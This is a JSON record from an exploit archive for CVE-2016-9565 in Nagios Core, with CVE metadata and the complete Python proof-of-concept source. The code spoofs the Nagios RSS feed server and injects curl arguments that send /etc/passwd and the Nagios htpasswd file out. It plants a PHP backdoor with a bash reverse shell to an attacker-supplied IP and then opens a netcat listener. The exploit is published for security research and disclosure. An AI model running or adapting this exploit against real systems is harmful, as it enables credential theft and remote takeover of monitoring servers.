{"exploit":{"id":"EDB-40920","name":"Nagios < 4.2.2 - Arbitrary Code Execution","description":"Nagios < 4.2.2 - Arbitrary Code Execution","cves":["CVE-2016-9565"],"author":"Dawid Golunski","published":"2016-12-15","platform":"linux","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/40920","path":"exploits/linux/remote/40920.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-40920.py","vulnerabilities":[{"id":"CVE-2016-9565","state":"PUBLISHED","title":null,"titleSource":null,"description":"MagpieRSS, as used in the front-end component in Nagios Core before 4.2.2 might allow remote attackers to read or write to arbitrary files by spoofing a crafted response from the Nagios RSS feed server. NOTE: this vulnerability exists because of an incomplete fix for CVE-2008-4796.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-9565","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-9565"},"updatedAt":"2024-08-06T02:50:38.651Z","retrievedAt":"2026-11-26T23:06:09.779Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-40920.png?v=2","url":"https://exploitbin.com/exploits/EDB-40920","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-40920/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-40920/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\n\n# Source: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\n\nintro = \"\"\"\\033[94m\nNagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit\nCVE-2016-9565\nnagios_cmd_injection.py ver. 1.0\n\nDiscovered & Coded by:\n\nDawid Golunski\nhttps://legalhackers.com\n\\033[0m\n\"\"\"\nusage = \"\"\"\nThis PoC exploit can allow well-positioned attackers to extract and write\narbitrary files on the Nagios server which can lead to arbitrary code execution\non Nagios deployments that follow the official Nagios installation guidelines.\n\nFor details, see the full advisory at:\nhttps://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\n\nPoC Video:\nhttps://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html\n\nFollow https://twitter.com/dawid_golunski for updates on this advisory.\n\nRemember you can turn the nagios shell into root shell via CVE-2016-9565:\nhttps://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html\n\nUsage:\n\n./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]\n\nDisclaimer:\nFor testing purposes only. Do no harm.\n\n\"\"\"\n\nimport os\nimport sys\nimport time\nimport re\nimport tornado.httpserver\nimport tornado.web\nimport tornado.ioloop\n\nexploited  = 0\ndocroot_rw = 0\n\nclass MainHandler(tornado.web.RequestHandler):\n\n    def get(self):\n\tglobal exploited\n\tif (exploited == 1):\n\t\tself.finish()\n\telse:\n\t\tua  = self.request.headers['User-Agent']\n\t\tif \"Magpie\" in ua:\n\t\t\tprint \"[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\\n\" % self.request.remote_ip\n\t\t\tprint  '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\\n'\n\t\t\tself.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)\n\t\t\texploited = 1\n\n    def post(self):\n        global docroot_rw\n\tprint \"[+] Success, curl payload injected! Received data back from the Nagios server %s\\n\" % self.request.remote_ip\n\n\t# Extract /etc/passwd from the target\n        passwd = self.request.files['passwd'][0]['body']\n\tprint \"[*] Contents of /etc/passwd file from the target:\\n\\n%s\" % passwd\n\n\t# Extract /usr/local/nagios/etc/htpasswd.users\n        htauth = self.request.files['htauth'][0]['body']\n\tprint \"[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\\n\\n%s\" % htauth\n\n\t# Extract nagios group from /etc/group\n        group = self.request.files['group'][0]['body']\n\tfor line in group.splitlines():\n\t    if \"nagios:\" in line:\n\t\tnagios_group = line\n\t\tprint \"[*] Retrieved nagios group line from /etc/group file on the target: %s\\n\" % nagios_group\n\tif \"www-data\" in nagios_group:\n\t\tprint \"[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\\n\"\n\t\tdocroot_rw = 1\n\n\t# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'\n\t# option. The output trace should contain  an unwrapped line similar to:\n\t#\n\t# == Info: Server <?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'\"); ?> is not blacklisted\n\t#\n\t# which will do the trick as it won't mess up the payload :)\n\tself.add_header('Server', backdoor)\n\n\t# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)\n\tprint \"[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \\n\"\n\tself.write(xmldata)\n\n\tself.finish()\n\ttornado.ioloop.IOLoop.instance().stop()\n\n\nif __name__ == \"__main__\":\n    global backdoor_path\n    global backdoor\n\n    print intro\n\n    # Set attacker's external IP & port to be used by the reverse shell\n    if len(sys.argv) < 2 :\n\t   print usage\n\t   sys.exit(2)\n    attacker_ip   = sys.argv[1]\n    if len(sys.argv) == 3 :\n\t   attacker_port = sys.argv[1]\n    else:\n\t   attacker_port = 8080\n\n    # PHP backdoor to be saved on the target Nagios server\n    backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'\n    backdoor = \"\"\"<?php system(\"/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'\"); die(\"stop processing\"); ?>\"\"\" % (attacker_ip, attacker_port)\n\n    # Feed XML containing JavaScript payload that will load the nagios-backdoor.php script\n    global xmldata\n    xmldata = \"\"\"<?xml version=\"1.0\"?>\n    <rss version=\"2.0\">\n          <channel>\n            <title>Nagios feed with injected JS payload</title>\n            <item>\n              <title>Item 1</title>\n              <description>\n\n                <strong>Feed injected. Here we go </strong> -\n                loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;)\n\n                <img src=\"/nagios/nagios-backdoor.php\" onerror=\"alert('Reverse Shell /nagios/nagios-backdoor.php executed!')\">\n\n              </description>\n\n            </item>\n\n          </channel>\n    </rss> \"\"\"\n\n\n    # Generate SSL cert\n    print \"[+] Generating SSL certificate for our python HTTPS web server \\n\"\n    os.system(\"echo -e '\\n\\n\\n\\n\\n\\n\\n\\n\\n' | openssl req  -nodes -new -x509  -keyout server.key -out server.cert 2>/dev/null\")\n\n    print \"[+] Starting the web server on ports 80 & 443 \\n\"\n    application = tornado.web.Application([\n        (r'/.*', MainHandler)\n    ])\n    application.listen(80)\n    http_server = tornado.httpserver.HTTPServer(\n        application,\n        ssl_options = {\n            \"certfile\": os.path.join(\"./\", \"server.cert\"),\n            \"keyfile\": os.path.join(\"./\", \"server.key\"),\n        }\n    )\n    http_server.listen(443)\n\n    print \"[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\\n\"\n    tornado.ioloop.IOLoop.current().start()\n\n    if (docroot_rw == 1):\n\t    print \"[+] PHP backdoor should have been saved in %s on the target by now!\\n\" % backdoor_path\n\t    print \"[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)\\n\"\n\t    os.system(\"nc -v -l -p 8080\")\n\t    print \"\\n[+] Shell closed\\n\"\n\n    print \"[+] That's all. Exiting\\n\"","sha256":"095bef901c28e744ee480afa25ec5fe37f473ad01ef1ec7da492be574d60a404","bytes":6303,"fetchedAt":"2026-11-26T23:06:08.301Z","encoding":"utf-8 (display only; download retains original bytes)"}